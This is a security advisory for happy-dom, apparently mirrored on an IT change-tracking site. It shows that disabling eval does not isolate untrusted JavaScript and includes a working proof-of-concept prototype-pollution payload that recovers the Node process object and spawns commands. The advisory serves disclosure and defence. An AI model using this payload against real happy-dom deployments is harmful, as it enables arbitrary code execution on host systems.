Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 274/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 13:09 UTC Customize Public modeDiscuss ChangeIntel on Discord

happy-dom's `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript

Exact source revision recorded 24 Oct 2026 13:17:17 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-qpm2-6cq5-7pq5

Published

### Summary The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads. ### Details The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf). ### PoC Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn(). ```js import { Browser } from "happy-dom"; const browser = new Browser({settings: {enableJavaScriptEvaluation: true}}); const page = browser.newPage({console: true}); page.url = 'https://example.com'; let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};' page.content = `<html> <script> function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} this.constructor.constructor.__proto__.__proto__.toString = f; this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f; // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf </script> <body>Hello world!</body></html>`; await browser.close(); console.log(`The process object is ${process}`); console.log(process.hasOwnProperty('spawn')); ``` ### Impact Arbitrary code execution via breaking out of the Node.js' vm isolation. ### Recommended Immediate Actions Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to [isolated-vm](https://github.com/laverdet/isolated-vm) is suggested instead. Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.

Source published
15 Oct 2025 20:29:04 UTC
Source modified
27 Nov 2025 09:10:13 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Publisher rating · CRITICAL

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 11 Nov 13:09 UTC · 274 of 275 readable · 273 fully read · documentation 469/469 current